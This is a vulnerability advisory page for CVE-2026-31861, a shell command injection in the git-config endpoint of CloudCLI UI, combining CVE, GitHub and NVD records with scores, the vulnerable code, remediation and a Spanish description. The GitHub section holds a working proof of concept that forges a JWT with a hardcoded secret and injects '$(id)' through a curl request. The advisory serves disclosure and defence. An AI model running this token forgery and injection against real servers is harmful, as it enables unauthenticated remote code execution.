CVE-2026-31861
JSON

8.7high

Shell Command Injection in Git Routes [CloudCLI UI]

Severity
8.7high CVSS:4.0 by GitHub_M
Exploit likelihood
6.85% (higher than 94% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-7fv4-fmmc-86g2

Description

Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.

Affected

Product or packageVersionsReported by
siteboon claudecodeui< 1.24.0CVE List
@siteboon/claude-code-ui (npm)before 1.24.0GitHub Advisory Database
cloudcli cloud_clibefore 1.24.0NVD

All scores

GitHub_M8.7high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
NVD8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-94

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.

What each source says

CVE List

Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.24.0, The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. This vulnerability is fixed in 1.24.0.

GitHub Advisory Database

Shell Command Injection in User Git Config Endpoint

FieldValue
SeverityHigh
CVSS 3.18.8 (High) — when chained with VULN-01
CWECWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Attack VectorNetwork
AuthenticationJWT required (bypassable via VULN-01)
Affected Filesserver/routes/user.js (lines 58-59)

Description

The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.

This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.

Root Cause

server/routes/user.js lines 58-59:

await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);

Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:

  • `malicious_command` — backtick execution
  • $(malicious_command) — subshell execution

Impact

  • Remote Code Execution (RCE) — arbitrary OS commands execute as the Node.js process user
  • The git config --global vector modifies the server-wide git configuration, affecting all git operations
  • When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
  • Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data

Proof of Concept

# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")

# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"gitName":"$(id)","gitEmail":"attacker@example.com"}'

The server executes:

git config --global user.name "$(id)"

Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.

Remediation

Replace exec() with spawn() (array arguments, no shell):

// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);

// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);
NVD (es)

Cloud CLI (también conocida como Claude Code UI) es una interfaz de usuario de escritorio y móvil para Claude Code, Cursor CLI, Codex y Gemini-CLI. Antes de la versión 1.24.0, el endpoint /API/user/git-config construye comandos de shell interpolando valores de gitName y gitEmail proporcionados por el usuario en cadenas de comandos pasadas a child_process.exec(). La entrada se coloca entre comillas dobles y solo ' " ' se escapa, pero los backticks (`), la sustitución de comandos $() y las secuencias \ son todas interpretadas dentro de cadenas entre comillas dobles en bash. Esto permite a atacantes autenticados ejecutar comandos arbitrarios del sistema operativo a través del endpoint de configuración de git. Esta vulnerabilidad se corrige en la versión 1.24.0.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-31861 changed 2026-03-12CVE Terms of Use
GitHub Advisory DatabaseGHSA-7fv4-fmmc-86g2 changed 2026-03-13CC-BY-4.0
NVDCVE-2026-31861 changed 2026-06-17Public domain